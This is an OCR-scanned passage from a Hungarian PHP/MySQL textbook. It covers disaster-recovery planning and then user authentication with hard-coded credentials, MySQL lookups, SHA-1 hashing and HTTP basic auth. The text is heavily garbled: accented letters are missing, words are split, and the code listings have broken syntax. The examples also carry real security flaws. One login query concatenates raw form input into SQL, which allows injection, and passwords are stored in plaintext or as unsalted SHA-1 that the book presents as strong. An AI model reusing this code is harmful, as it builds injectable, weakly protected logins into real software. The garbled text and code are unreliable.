egyszeren elads cljbl prbljk meg eltulajdontani az ilyen gpeket. ppen ezrt igen fontos, hogy a webes alkalmazsa
inkat futtat kiszolglkat biztonsgos krnyezetben tartsuk, s csak annak tegyk ket elrhetv, akiknek valban dolguk
van

velk.

Katasztrfaelhrtsi terv
Ha szeretnnk teljesen res, a semmibe rved tekintetet ltni, krdezznk meg egy informatikai vezett, hogy mi trtnne
kiszolglikkal vagy inkbb teljes adatkzpontjukkal, ha a gpeknek otthont ad plet legne, vagy ers fldrengsben elpusz
tulna! Az informatikusok ijeszten magas arnya egyltaln nem tudna vlaszolni.
A kataszttfa-elhrtsi tervezs a szolgltats kritikus, mgis gyakran figyelmen kvl hagyott rsze, legyen az a szolgltats
pusztn egy webes alkalmazs vagy brmi egyb (pldul vllalkozsunk mindennapi mkdtetse). A terv elksztse jellem
zen olyan dokumentumok vagy folyamatok sszelltsbl ll, amelyek pldul az albbi esemnyek bekvetkezse esetn
felmerl krdsekkel foglalkoznak:
Adatkzpontunk valamilyen katasztrfa kvetkeztben rszben vagy egszben megsemmisl.
Fejlesztcsapatunkat ebdsznetben elti egy busz, s mindannyian slyosan megsrlnek (vagy meghalnak).
A vllalati kzpont leg.
Egy kls tmadnak vagy egy elgededen alkalmazottnak sikerl webes alkalmazsaink sszes adatt megsemmiste
me.
Klnbz okok miatt, de sokan nem szeremek szerencsdensgekrl s tmadsokrl beszlni, m a knyrtelen valsg
az,

hogy ilyen dolgok elfordulnak- br szerencsre viszonylag ritkn. Az zleti szervezetek azonban jellernzen nem enged

hetik meg maguknak a lells t, amit az ilyen nagysgrend esemnyek okoznnak abban az esetben, ha teljesen felkszletlenl
rn ket. Egy naponta tbb milli dollros bevtelt elr vllalat igen komolyan megrezn, ha webes alkalmazsai nem len
nnek elrhetk tbb mint egy htig, addig, amg a rendszert nem szz szzalkban ismer emberek annak helyrelltsn s
jraindtsn dolgoznnak.
Az ilyen esemnyekre felkszlve, bekvetkezsket egyrtelm akcitervvel vrva s az akciterv kritikusabb rszeit elpr
blva hatalmas vesztesgek potencilis lehetsgtl kmlhetjk meg zleti szervezetnket, ha tnyleg bet a mnk.
Az albbiakkal segithetjk a katasztrfa-elhrrsi terv ltrehozst s - szksg esetn- vgreh:ytst:
Gondoskodjunk az sszes adat napi biztonsgi mentsrl fizikailag msik helysznen, gy adatkzpontunk teljes meg
semmislse esetn is megmaradnak adataink!
Legyen kzzel rott, fizikailag szintn mshol trolt feljegyzsnk a szerverkrnyezet ltrehozsra s webes alkalmaz
sunk belltsra vonatkoz utastsokkal l Legalbb egyszer prbljuk el a teljes helyrelltsri
Ksztsnk teljes msolatot webes alkalmazsunk forrskdjrt s tartsuk ezt is msik helysznen!
Nagyobb munkahelyi csapatok esetn tiltsuk meg, hogy minden kollga ugyanabban a jrmben (pldul autban vagy
replgpen) utazzon, hogy egy esetleges baleset ne rinehesse a csapat minden tagjt!
Automatizlt eszkzk futtatsval ellenrizzk a szerver megfelel mkdst, s jelljnk ki egy alkalmazottat, aki
vszhelyzet vagy brmilyen problma esetn nem munkark alatt is kteles bejnni!
Olyan szerzdst kssnk a neknk a hardvereket rtkest partnerrel, hogy adatkzpontunk megsemmislse esetn
az j hardver azonnal elrhet legyen! Nagyon idegest lenne ngy-hat htig vrni az j szerverek megrkezsre.

Hogyan tovbb
A Hitelests

megvalstsa PHP-vel s MySQL-lel cm

17. fejezetben alaposabban megvizsgljuk a felhasznlk azonostst

lehetv tev hitelestst. Klnbz mdszereket ismernk meg, kztk az oldal felhasznlit PHP s MySQL segtsgvel
ellenrz hitelesrst.

16

17
Hitelests megvalstsa
PHP--vel s MySQL--lel
Ebben a fejezetben arrl lesz sz, hogy hogyan lehet felhasznlinkat klnbz PHP- s MySQL-mdszerekkel hitelesteni.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Ltogatk azonostsa
Hozzfrs-szablyozs megvalstsa
Alapszint hitelests
Alapszint hitelests PHP-ben
Az Apache alapszint . htaccess hitelestsnek hasznlata
Amod auth_mysql hitelests alkalmazsa
Egyni hitelestsi folyamat ltrehozsa

Ltogatk azonostsa
Ugyan az internet elgg anonimitsbart mdium, sok esetben hasznos dolog tisztban lenni azzal, ki ltogatja oldalunkat.
A ltogatk adatainak vdelme szempontjbl szerencss, hogy segtsgk nlkl nagyon keveset rodharunk meg rlunk. Kis
energival ugyanakkor a szerverek egsz sok informcit sszegyjthetnek a hozzjuk kapcsold szmrgpekrl s hlza
rokrL A bngszk ltalban azonostjk magukat, kzlik a kiszolglval, hogy a felhasznl milyen bngszt, annak melyik
verzijt s milyen opercis rendszert futtat. JavaScript segtsgvel az esetek tbbsgben azt is megllapthatjuk, hogy a l
togatk kijelzje milyen felbontsra s sznmlysgre van lltva, illetve milyen nagy a bngszjk ablaka.
Minden szmtgp egyedi IP-cmen kereszrl csatlakozik az internethez. A ltogat IP-cmbl valamilyen mrtkben
kvetkeztetni tudunk r. Kiderthetjk, kinek a birtokban van az IP-cm, s gyakran egsz jl tippelhetnk a ltogat fld
rajzi elhelyezkedsre is. Az IP-cmek azonban nem egyformn hasznosak szmunkra. ltalnossgban igaz, hogy az lland
internerkapcsolattal rendelkez felhasznl lland (fix) cmmel rendelkezik. Az internetszolgltathoz (ISP) berrcsz fel
hasznlk jellemzen ideiglenesen hasznlhatjk a szolgltar egyik cmt. Ha legkzelebb tallkozunk ugyanazzal a cmmel,
akkor knnyen lehet, hogy mr msik szmtgp hasznlja, s amikor legkzelebb tallkozunk a ltogatval, nagy valszn
sggel msik IP-cme lesz. Az IP-cmek nem olyan mrtkben alkalmasak a ltogatk azonostsra, mint elsre hihetnnk.
Az internetfelhasznlk szmra elnys lehet, hogy a bngszik ltal megadott informcik nem alkalmasak azonost
sukra. Ha tudni szeretnnk valamelyik ltogatnk nevt vagy egyb adatt, meg kell krdeznnk tle.
Sok weboldal igen hathats eszkzkkel knyszerti a felhasznlkat szemlyes adataik megadsra. A New York Times
jsg (http:/ /www.nytimes.com) tartalma ingyenesen elrhet, de csak azon ltogatknak, akik hajlandk megadni olyan ada
raikar, mint a nevk, a nemle s a hztartsuk teljes jvedelme. A Slashdot nev hr- s frumoldalon (htrp:/ /www.slashdot.
org) csak a regisztrlt felhasznlk rhatnak bejegyzseket, k viszont testre szabhatjk sajt maguk szmra az oldal fellett.
A legtbb e-kereskedelmi oldal az els rendelsnl elkri s eltrolja a vsrlk adatait. Ez azr jelenti, hogy nem szksges min

den vsrlskor minden adatot begpelni k.


Ha informcit krtnk s kaprunk ltogatinktl, kvetkez ltogatsukkor valahogyan ssze kell kapcsolnunk az egyes fel
hasznlkat az ltaluk korbban megadott adatokkal. Ha elfogadjuk azt a felttelezst, hogy egy adott szmrgpen lv adott fel
hasznli nvvel egyetlen szemly ltogatja csak oldalunkat, akkor arra a gpre stit (cookie-t) rakva azonosthatjuk a felhasznlt.
Szinte biztos, hogy ez a felttelezs nem minden felhasznl esern llja meg a helyt. Egy-egy szmtgpen tbb felhaszn
l is osztozhat, s brki hasznlhat egynl tbb gpet is. Legalbb alkalmanknt meg kell krdeznnk ltogatnkat, hogy ki is
tulajdonkppen. Radsul nem elg ezt csak megkrdezni, hanem krni kell, hogy valahogyan bizonyrsa be: rnyleg az, akinek

mondja magr.

266

17.fezet

Az e-kereskedelem biztonsgi krdsei cm fejezetben szba kerlt, hogy hitelestsnek (authentication) nevezzk azt, ami

kor felkrjk a felhasznlt szemlyazonossga bizonytsra. A hitelests weboldalakon hasznlt ltalnos mdszere az, ha
a felhasznl megadja egyedi felhasznli nevt s jelszavt.A hitelesrst jellemzen arra hasznljuk, hogy hozzfrst adjunk
adott oldalakhoz vagy informciforrsokhoz, vagy ppen ellenkezleg: megtagadjuk a hozzfrst. A hitelests lehet opcion
lis, s hasznlhatjuk ms clokra, pldul tartalom testre szabsra (perszonalizlsra) is.

Hozzfrsszablyozs megvalstsa
Az egyszer hozzfrs-szablyozs knnyen megvalsthar.A 17.1 pldakdnak hrom kimenere lehetsges. Ha a fjl param

terek nlkl tltdik be, felhasznli nevet s jelszt kr HTML rlap jelenik meg.A 17.1 brn ilyen tpus rlapot ltunk.
tlf

......,_

lttool

.,..,..,..

crftu--_ -

_
.. '""'
- ,

_
-

- - ---- ---___
_

Krjk, jelentkezzen be
F......ata-..-

-=======:-::

!.W=.:-::.::::_

17.1 bra: A HTML rlap felhasznli nevet s jelszt kr a ltogatktl a hozzfrshez.

Ha a paramtereket megadjk ugyan, de nem helyesen, a kd hibazenetet jelent meg. A 17.2 brn a hibazenette ltunk pldt.
M

......-

....

.......,.,.

-w

;, -- ----.-.----
Krjk, tvozzon!

17.2 bra: Ha a felhasznl nem megfelel adatokat ad meg, hibazenetet jelentnk meg.
Egy igazi oldalon ennl azrt bartsgosabb zenetet rdemes hasznlni.

Ha a megadott paramterek helyesek, megjelenik a titkos tartalom. A 17.3 brn az ilyen tpus tartalomra ltunk pldt.

17

Tessk!

17.3 bra: Megfelel adatok bevitele esetn a kd megjelenti a tartalmat.

Hitelests megvalstsa PHP-vel s MySQL-lel

267

A 17.1, 17.2 s 17.3 brn Jrhat funkcionalitst megvalst kd a 17.1 pldakdban Jrhat.
17.1 pldakd: ti t kos. php-Egyszer hitelestsi mechanizmust biztost PHP s HTML kd
<?php
//rvid nevek ltrehozsa a vltozknak
$nev = $_POST['nev'];
$jelszo = $ POST['jelszo'];

if ((1isset($nev))

l l

(!isset($jelszo)))

//A ltogatnak meg kell adni nevt s jelszavt


?>

<hl>Krjk,

jelentkezzen be!</hl>

<p>Az oldal titkos.</p>


<form method="post" action="titkos.php">
<p>Felhasznli nv:
<p>Jelsz:

<input type="text" name="nev"></p>

<input type="password" name="jelszo"></p>

<p><input type="submit" name="submit" value="Bejelentkezs"></p>


</form>
<?php
else if(($nev=="felhasznalo") && ($jelszo=="jelszo"))

ll a ltogat nv/jelsz prosa helyes


echo "<hl>Tessk!</hl>
<p>Fogadjunk,

hogy rl,

hogy lthatja ezt a titkos oldalt!</p>";

else

ll a ltogat nv/jelsz prosa nem megfelel


echo "<hl>Krjk,

tvozzon!</hl>

<p>Nem jogosult megtekinteni ezeket az informcikat.</p>";

?>
A 17.1 pldakd egyszer hitelestsi mechanizmust valst meg, amely lehetv teszi, hogy csak az arra jogosult felhasznJk tekintsk meg az adott oldalt. Ez a kd mindazonltal nhny komoly problmt is felvet:
A kd a felhasznli nevet s a jelszt is tartalmazza
Egyszer szvegknt trolja a jelszt
Egyetlen oldalt vd
Egyszer szvegknt kldi el a jelszt
Ezeket a problmkat nmi erfeszts rn sikeresen kezdhetjk.

Jelszavak trolsa
Szmtalan alkalmasabb hely knlkozik a felhasznli nevek s jelszavak trolsra, mint egyszeren a kd belsejbe rni ket.
Egyrszt a kdon bell nem egyszeren mdosrhatk az adatok. Technikailag lehetsges, de nem clszer sajt magt mdo
st kdot rni. Ha gy tesznk, vgeredmnyben olyan kdot helyeznk kiszolglnkra, amely a kiszolgln fut, de msok is
rhatjk vagy mdosrhatjk. Ha az adatokat msik fjlban troljuk a szerveren, sokkal knnyebben rhatunk programot a fel
hasznJk ltrehozsra s eltvoltsra, illetve a jelszavak megvltoztatsra.
Amennyiben az adatokat a kdban vagy egy msik adatfjlban troljuk, a kd futsi sebessgnek jelents lelassulsa nlkl
csak korltozott szm felhasznlt tudunk kezelni. Ha nagyobb mennyisg adatot kvnunk fjlban trolni s abban keresni,
rdemes inkbb adatbzist hasznlni. klszablyknt elmondhat, hogy ha szznl tbb elembl ll listt akarunk trolni s
abban keresni, akkor egyszer fjl helyett adatbzist kell hasznlni.
A felhasznli nevek s jelszavak adatbzisban trolsa nem teszi rzkelheten bonyolultabb a kdot, viszont a felhasz
nJk sokkal gyorsabb hitelestst teszi lehetv. Ebben az esetben egyszeren megrhatjuk az j felhasznlkat hozzad,
a meglv felhasznlkat trl, illetve a felhasznli jelszavak mdostst lehetv tev kdot.
A 17.2 pldakdban az oldal ltogatit adatbzis segtsgvel hitelest kdot lthatunk.

17

268

17.fezet

17.2 pldakd: tit kos_adatbazis. php-A MySQL hasznlatval tovbbfejlesztett, egyszer hitelestsi mechanizmus
<?php
$nev = $_POST['nev'];
$jelszo

$ POST['Jelszo'];

l l

if ((!isset($nev}}

( 1 isset($jelszo}}}

//A ltogatnak meg kell adni nevt s jelszavt


?>

<hl>Krjk,

jelentkezzen be'</hl>

<p>Az oldal titkos.</p>


<form method="post" action="titkos adatbazis.php">
<p>Felhasznli nv:
<p>Jelsz:

<input type="text" name="nev"></p>

<input type="password" name="jelszo"></p>

<p><input type="submit" name="submit" value="Bejelentkezs"></p>


</form>

<?php
else

ll csatlakozs mysql-hez
$mysql = mysqli connect("localhost",

"webeshitelesites",

"webeshitelesites"};

if (!$mysql}
echo "Nem sikerlt csatlakozni az adatbzishoz.";
exit;

ll a megfelel adatbzis kivlasztsa


$k1valasztott = mysqli select db($mysql,
if (!$kivalasztott}

"hitelesites"};

echo "Nem sikerlt kivlasztani az adatbzist.";


exit;

ll az adatbzis lekrdezse egyez rekord utn kutatva


$lekerdezes

"SELECT count(*} FROM jogosult_felhasznalok WHERE


nev = ''' .$nev.'' ' and
jelsza

'''.$jelszo.'' ' '' ;

$eredmeny = mysqli_query($mysql,
if(!$eredmeny}

$lekerdezes};

echo "A lekrdezs nem futtathat.";


exit;

$sor = mysqli fetch row($eredmeny};

17

Sctarab = $sor[O];

if ($darab > 0}

ll a ltogat nv s jelsz prosa megfelel


echo "<hl>Tessk!</hl>
<p>Fogadjunk,

hogy rl,

hogy lthatja ezt a titkos oldalt!</p>";

else

ll a ltogat nv/jelsz prcsa nem megfelel


echo "<hl>Krjk,

tvozzon!</hl>

<p>Nem jogosult megtekinteni ezeket az informcikat.</p>";

Hitelests megvalstsa PHP-vel s MySQL-lel

269

?>
Az itt hasznlt adatbzis ltrehozshoz csatlakozzunk a MySQL-hez root felhasznlknt, s futtassuk a 17.3 pldakd
tartalmr!
17.3 pldakd: hitelesi tesi _adatbazis _letrehozasa. sql- Ezek a MySQL lekrdezsek hozzk ltre a hitelesites

adatbzist, a hitelesites tblt s a kt mintafelhasznlt


CREATE

DATABASE hitelesites;

USE hitelesites;
CREATE

TABLE

JOgosult felhasznalek (nev varchar(20),


jelsze varchar(40),
PRIMARY

KEY

(nev}

);
INTO jogosult

INSERT

felhasznalek VALUES ('felhasznaloi_nev',


'jelszo');

INSERT INTO jogosult

felhasznalek

VALUES ('teszt_felhasznalo',

shal (' jelszo'));


GRANT SELECT ON hitelesites.*
TO 'webeshitelesites'
IDENTIFIED BY 'webeshitelesites';
FLUSH

PRIVILEGES;

Jelszavak titkostsa
Akr adatbzisban, akr sima fjlban rizzk az adatokat, a jelszavak egyszer szvegknt trolsval szksgtelen kock
zatnak tesszk ki magunkat. Egyirny hash algoritmussal minimlis tbbleterfesztssel rhetnk el magasabb szint
biztonsgot.
PHP-ben szmos egyirny hash fggvny elrhet. A legrgebbi s a legkevsb biztonsgos a crypt () fggvny ltal
knlt Unix Crypt algoritmus. Az md5( ) fggvny ltal megvalstott Message Digest 5 (MDS) algoritmus ennl ersebb.
Mg ersebb ugyanakkor a S ecure Hash Algorithm l (SHA-1) nev algoritmus. Az shal () PHP fggvny ers, egyirny
kriptogrfiai hash fggvny. Prototpusa a kvetkez:
string shal ( string str

[,

bool nyers_kimenet])

Ha adott az str karakterlnc, a fggvny egy pszeudo-vletlenszer, 40 karakteres sztringet ad vissza. Amennyiben
a nyers_kimenet paramtert true-ra, azaz igazra lltjuk, 20 karakteres binris karakterlncot kapunk helyette. Legyen
adott pldul a" jelszo" karakterlnc: az shal () fggvny ekkor a" 5baa6le4c9b93f3f0682250b6cf833lb7ee68
fdB"

sztringet adja vissza. Ezr nem lehet visszafejteni, mg az sem tudja "jelszo"-v visszaalakitani, aki ltrehozta, gy els

rnzsre nem sok rtelme van ennek az egsznek. Az shal () fggvny hasznossgt az adja, hogy kimenere egyrtelm (de
terminisztikus). Ha ugyanazt a karakterlncot adjuk neki, az shal () mindig ugyanazt az eredmnyt fogja visszaadni.
Az ilyen PHP kd helyett:
if (($nev == 'felhasznaloi_nev')
($jelszo == 'jelszo')}
//OK,

&&

a jelszavak egyeznek

ilyet rdemes hasznlni:


if (($nev == 'felhasznaloi_nev'} &&
(shal($jelszo )== '5baa6le4c9b93f3f0682250b6cf833lb7ee68fd8'}}
//OK,

a jelszavak egyeznek

Nem szksges tisztban lennnk azzal, hogyan nzett ki a jelsz az shal () fggvny alkalmazsa eltt. Csak arrl kell
meggyzdnnk, hogy az shal () fggvnyt a begpelt s az eredeti jelszra alkalmazva ugyanazokat a kimeneteket kapjuk-e.

17

270

17. fejezet

Ahogy korbban mr emltettk, az elfogadhat felhasznli neveket s jelszavakat nem ,Ynlott kzveclenl a kdba berni.
Trolsukra hasznljunk inkbb kln fjlt vagy adatbzist!
Amennyiben MySQL adatbzisban troljuk a hitelestshez szksges adatokat, az shal ( ) PHP fggvnyt vagy az
SHAl () MySQL fggvnyt egyarnt hasznlhatjuk. A MySQL mg a PHP-nl is tbbfle hash algoritmust knl, m ezek

mind ugyanazt a clt szolgljk.


Az SHAl () hasznlathoz a kvetkezkppen kellene trni a 17.2 pldakdban lv SQL lekrdezst:
SELECT count(*)
nev =

FROM jogosult felhasznalek WHERE

'''.$nev.'''

and

jelsze = shal('".$jelszo."')

A fenti lekrdezs megszmolja a jogosul t_felhasznalok nev tbla azon sorait, amelyeknek a nev rtke a $nev
vltoz tartalmval, a jelsza rtke pedig a$jelszo tartalmra alkalmazott SHAl() fggvny ltal visszaadott rtkkel egye
zik meg. Amennyiben csak egyedi felhasznli neveket lehet vlasztani, a lekrdezs eredmnye csak O

vagy l lehet.

Ne feledjk, hogy a hash fggvnyek ltalban rgztett mret adatot adnak vissza! Az SH1 fggvny esetn ez egy 40
karakteres sztring. Gondoskocljunk rla, hogy az adatbzis oszlopai fogadni tudjk az ekkora adatokat!
A 17.3 pldakdra visszatekintve lthatjuk, hogy a kt lehetsges megkzeltst illusztrland ltrehozrunk egy felhasznlt
(' felhasznaloi _nev') nem titkostott, egy msikat ('teszt_ felhasznala'

pedig titkostott jelszval.

Tbb oldal vdelme


Ennl kicsit nehezebb azt megvalstani, hogy a 17.1 s a 17.2 pldakdban szerepl kd egynl tbb oldalt is vdjen. Mivel
a HTTP nem llapottart, nincs automatikus kapcsolat vagy sszefggs az ugyanattl a szemlytl rkez krsek kztr. Ez
bonyolultt teszi, hogy az adatokat - pldul a felhasznl ltal megadott hitelestsi informcit - oldalrl oldalra magunkkal
vigyk. T bb oldalt legegyszerbben a webszerver ltal knlt hozzfrs-szablyozsi mechanizmusok segtsgvel rudunk
vdeni. Rvidesen ttekintjk ezeket a mechanizmusokat.
Ha s,Yt magunk szeretnnk ltrehozni ezt a funkcit, a 17.1 pldakdban szerepl kd bizonyos rszeit kellene beilleszteni
minden vdeni kvnt oldalra. Az auto_prepend_file s az a uto_append_file segtsgvel automatikusan hozzrhatjuk
a kdot a meghatrozott knyvtrakban lv sszes fjl elejhez vagy vghez. Ezeknek az utastsoknak a hasznlatt a Kd
jbli jelhasznlsa sfggvnyrs cm 5. fejezetben mutattuk be.
Tegyk fel, hogy ezt a megkzeltst vlasztj uk. Mi trtnik ebben az esetben akkor, amikor a ltogatk honlapunkon bell
tbb oldalt is megnyitnak? Minden bizonnyal elfogadhatatlan lesz szmukra, ha minden megtekinteni kvnt oldalon jra s
jra meg kell adniuk nevket s jelszavukat.
Megtehetnnk, hogy a felhasznJk ltal megadott adatokat hozzfzzk az oldalon lv sszes hiperhivatkozshoz. Mivel

a felhasznli adatok szkzket s URL-ekben nem megengedett ms karaktereket is tartalmazhatnak, az urlencode()


fggvny segtsgvel rudnnk biztonsgosan kdoini ezeket a karaktereket.

Ez a megkzelts is felvet azonban nhny problmt. Mivel az adatok a felhasznlknak kldtt oldalakba s az ltaluk
felkeresett URL-ekbe illesztdnnek be, az ltaluk megltogatott vdett oldalakat brki megteknthetn, ha ugyanazon a gpen
visszalpkedne a gyorsttrazort oldalakon, vagy megnzn a bngszsi elzmnyeket. Mivel minden egyes lekrt s megje
lentett oldal esetn oda-vissza kldzgetjk a bngsznek a jelszt, ezt a bizalmas informcit a szksgesnl gyakrabban
vagyunk knytelenek tovbbtani.
Kt j mdszer ltezik a kt problma kezelsre: a HTTP alapszint hitelestsi funkcija s a munkamenetek (session) hasz
nlata. Az alapszint hitelests megoldja a gyorsttrazs problmjt, m a bngsz a jelszt tovbbra is minden egyes krsnl
elkldi a kiszolglnak. A munkarnenet-vezrls (session control) mindkt problmra megoldst knl. A HTTP alapszint hitele
stsvel a kvetkezkben foglalkozunk, a munkarnenet-vezrlst pedig a 23., majd rszletesebben a 27. fejezetben mutatjuk be.

17

Alapszint hitelests hasznlata


A felhasznJk hitelestse szerencsre olyan gyakori feladat, hogy a HTTP beptett hitelestsi eszkzkkel rendelkezik.
A kdok s webszerverek hitelestst krhetnek a bngsztL Ebben az esetben a bngsz felels azrt, hogy prbeszdabla
kot vagy hasonl segdeszkzt megjelentve megszerezze a felhasznltl a krt informcit.
Br a webszerver minden egyes felhasznli krshez j hitelestsi adatokat ignyelhet, a bngsznek nem szksges min
den oldalnl bekrnie a felhasznli adatokat. A bngsz jellemzen mindaddig eltrolja ezeket, amg a felhasznl nyitva
tartja a bngszablakot, s felhasznli beavatkozs nlkl, automatikusan jrakldi ket az azt kr kiszolglnak. A HTTP
ezen funkcijt alapszint hitelestsnek (basic authentication) nevezzk. Az ilyen hitelesrst PHP-vel vagy a webszerverbe
beptett mechanizmusokkal rudjuk kivltani. Elszr a PHP, majd az Apache mdszert fogjuk megvizsglni.

Hitelests megvalstsa PHP-vel s MySQL-lel

Az alapszint hitelests egyszer szvegknt kldi a felhasznl nevt s jelszavr, gy nem tlsgosan biztonsgos.
A HTTP 1.1 az ennl biztonsgosabb kivonatos hitelests (digest authentication) nev mdszert knlja, amely a tranzakci
rszleteit hash algoritmussal (ltalban az MD5-tel) rejti el a kvnesi szemek ell. A kivonatos hitelesrst szmos webszerver
s a bngszk jabb verzii tmogatjk. Mindazonltal igen sok olyan, rgebbi bngsz van mg hasznlatban, amely nem
tmogatja ezt a hitelestsi mdszert, s a Microsoft Internet Explorer s az Internet Information Server is a kivonatos hireles
rs olyan verzijt tartalmazza, amely nem kompatibilis a nem Microsoft-termkekkel.
Tl azon, hogy egyes bngszk nem megfelelen tmogatjk, a kivonatos hitelests egy msik problmja, hogy mg ez
sem kellen biztonsgos. Az alapszint s a kivonatos hitelests is alacsony fok biztonsgot nyjt. Egyik sem tuclja garantlni
a

felhasznlnak, hogy azzal a gppel kommunikl, amit ppen elrni kvn. Mindkett lehetv teszi a crackereknek, hogy

jra lejtsszk a kiszolglnak ugyanazt a krst. Mivel az alapszint hitelests egyszer szvegknt tovbbtja a felhasznli
jelszavakat, a csomagokat megszerezni kpes cracker a felhasznl brbe bjva brmilyen krst intzhet a kiszolglhoz.
Az alapszint hitelests ppolyan (alacsony) fok biztonsgot nyjt, mint a jelszavakat szintn egyszer szvegknt to
vbbt telnetes vagy FTP-s csadakozsok. A kivonatos hitelests valamivel biztonsgosabb, mivel tovbbts eltt titkosrja
a jelszavakat.

Ha SS L-lel s digitlis tanstvnyokkal tvzzk az alapszint hitelests t, akkor a webes tranzakci minden rszt
kellkppen vcljk. Ha ers biztonsgi szintre van ignynk, olvassuk el a Biztonsgos tranzakcik megvalstsa PHP-vel s
MySQL-lel cm 18. fejezetet! Ennek ellenre sok esetben elegend lehet egy olyan gyors, m viszonylag kevss biztonsgos
mdszer is, mint az alapszint hitelests.
Az alapszint hitelests egy megnevezett tartomnyt (realm) vd, s rvnyes felhasznli nv s jelsz megadsra kny
szerti a felhasznlkat. A tartomnyok megnevezse gy trtnik, hogy ugyanazon a kiszolgln egynl tbb tartomny is
kialakrhat. Ugyanazon szerver klnbz fjljai vagy knyvrrai eltr rartomnyokba tartozharnak, amelyek mindegyikt
klnbz felhasznli nevek s jelszavak vdik. Az elnevezett tartomnyokkal ugyanakkor egyeden tartomnyknt csoporto
srhatjuk az ugyanazon a gpen vagy virtulis gpen lv knyvtrakat, s egyeden jelszval vdherjk ket.

Alapszint hitelests PHPben


A PHP kdok ltalban platformfggedenek, de az alapszint hitelests hasznlata a kiszolgl ltal belltott krnyezeti

vltozkra pl. Ahhoz, hogy ugyanaz a HTTP hitelestsi kd a PHP-t Apache-madulknt hasznl Apache szerveren vagy
ISAPI-modulknt hasznl IlS szerveren is fusson, rzkelnie kell a kiszolgl tpust, s kiszolgltl fggen kiss eltr

mdon kell viselkednie. A 17.4 pldakd mindkr kiszolgln futni fog.


17.4 pldakd: h t tp. php-A HTTP alapszint hitelestst kivlt PHP kd
<?php

llIIS hasznlata esetn be kell lltani a


ll$_SERVER['PHP_AUTH_USER']-t s a
ll$ SERVER['PHP_AUTH_PW']-t

O,

if ((substr($_SERVER['SERVER_SOFTWARE'],
(!isset($_SERVER['PHP_AUTH_USER']))
(!isset($_SERVER['PHP_AUTH PW']))

9)

&&

&&

0,

(substr($ SERVER['HTTP_AUTHORIZATION'],

'Microsoft')

&&

6)

'Basic ')

list($SERVER['PHP_AUTH_USER'],
explode(' :',

$_SERVER['PHP_AUTH_PW']) =

base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'],

6)));

ll Helyettestsk ezt az if utastst adatbzis-lekrdezssei vagy hasonlval'


if (($_SERVER['PHP_AUTH_USER'] != 'felhasznalo')
($ SERVER['PHP_AUTH_PW']

!= 'jelszo'))

ll

271

272

17. fejezet

ll

a ltogat mg nem adta meg adatait,

ll

megfelel felhasznli nv/jelsz pros

header('WWW-Authenticate:

if (substr($

Basic realm="Realm-Name"');

SERVER['SERVER_SOFTWARE'],

header('llapot:

vagy nem

O,

9)

==

401

Jogosulatlan hozzfrs');

header('HTTP/1.0 401

Jogosulatlan hozzfrs');

else

'Microsoft')

echo "<hl>Krjk,

tvozzon!</hl>

<p>Nem jogosult megtekinteni ezeket az informcikat.</p>";

else

ll

a ltogat megfelel adatokat adott meg

echo "<hl>Tessk!</hl>
<p>Fogadjunk,

hogy rl,

hogy lthatja ezt a titkos oldalt!</p>";

?>

A 17.4 pldakd a fejezet korbbi pldakdjaihoz hasonlan mkdik. Ha a felhasznl mg nem adta meg a hitelestshez
szksges adatokat, akkor bekri azokat. Hibs felhasznli nv-jelsz pros esetn a felhasznl a visszautastsrl kap zene
tet. Megfelel hitelestsi adatok megadsa esetn a felhasznl megtekintheti a kre oldal tartalmr.
Ebben az esetben azonban a felhasznl a korbbiaktl nmikppen eltr kezelfelletet lt. Ez a kd ugyanis nem jelent
meg HTML rlapot a bejelentkezsi adacoknak. A felhasznl bngszje az, ami egy prbeszdablakot nyit meg. Egyesek
szmra ez elny, msok jobban szeretik, ha teljes mctkben irnytsuk alatt tarthatjk a kezelfellet vizulis elemeit.
A Firefox ltal megjelentett prbeszdablakot a 17.4 brn lthatjuk.
Mivel a hitelestse a bngsz beptett funkcii segtik, bizonyos fokig a bngszn mlik, hogy miknt kezeli a sikertelen
hitelestsi ksrleteket. Az Internet Explorer pldul hrom hitelestsi ksrletet enged meg a felhasznlnak, s csak ezt k
veten jelenti meg az elutastsrl tjkoztat oldalt. Firefaxban akrhnyszor prblkozhat a felhasznl, az egyes ksrletek
kzte csupn az.,Authorization failed. Retry?'; azaz .. Sikercelen hitelests. Megprblja jra?" zenet jelenik meg. A Firefox
csak akkor jelenti meg az elutast oldalt, ha a felhasznl a.,Cancel" gombra kattint.
Ahogy a 17.1 s 17.2 pldakdok esetben, ezt a kdot beilleszthetjk minden vdeni kvnt oldalra, vagy automatikusan
hozzfzhetjk egy knyvtr sszes fjljnak elejhez.

17.4 bra: HTTP hitelests esetn ajelhasznl bngszje hatrozza meg a prbeszdablak megjelenst.

Alapszint hitelests az Apache

h t a c c ess fjljaival

A 17.4 pldakdhoz hasonl eredmnyeket PHP kd rsa nlkl is elrhetnk. Az Apache webszerver szmos olyan hiteles
tsi modult tartalmaz, amivel megllapthatjuk a felhasznl ltal megadott adatok valdisgt. Legegyszerbben amod_ auth
hasznlhat, amely egy, a kiszolgln callhat szveges fjl soraival hasonltja ssze a felhasznli nv-jelsz prosokat.

Hitelests megvalstsa PHP-vel s MySQL-lel

273

Az elz kdval megegyez eredmny elrshez kt klnll HTML fjlt kell ltrehoznunk: az egyik a tartalom oldala,
a

msik az elutasts. Az elzekben egyes HTML elemeket kihagytunk, de HTML ellltshoz rnylegesen hasznlni kell

<html>

s a <body> cmkket.

A tar talom.html nev 17.5 pldakd a jogosult felhasznJk ltal megtekinthet tarralmar llrja el. Az elutasitas.
htrnl

nev 17.6 pldakd az elutast oldal. Az elutasts esern megjelen oldalt nem ktelez elkszteni, de professzionlis

szemlleter tkrz, ha hasznos informcikat jelentnk meg rajra. Mivel ez az oldal akkor jelenik meg. amikor egy felhasznl
sikertelenl prbl meg bejelentkezni a vdert terletre, hasznos informci lehet, ha kzljk, hogyan rud regiszrrlni, illerve
mi a reendje elfelejtett jelsz esetn.
17.5 pldakd: tartalom. html - Mintatartalorn
<htrnl><body>
<hl>Tessk!</hl>
<p>Fogadjunk,

hogy rl,

hogy lthatja ezt a titkos oldalt!</p>

</body></html>

17.6 pldakd: elutasitas.htrnl- Minta 401-es hibaoldalra


<htrnl><body>
<hl>Krjk,

tvozzon!</hl>

<p>Nern jogosult megtekinteni ezeket az informcikat.</p>


</body></htrnl>

Ezekben a fjlokban semmi jdonsg nincs. Pldnk rdekessge a 17.7 pldakdban Ithar fjl. Ezt a fjlt . htaccess
knr kell elnevezni, s ez fogja szablyozni a knyvtrban lv fjlokhoz s alknyvtrakhoz val hozzfrst.
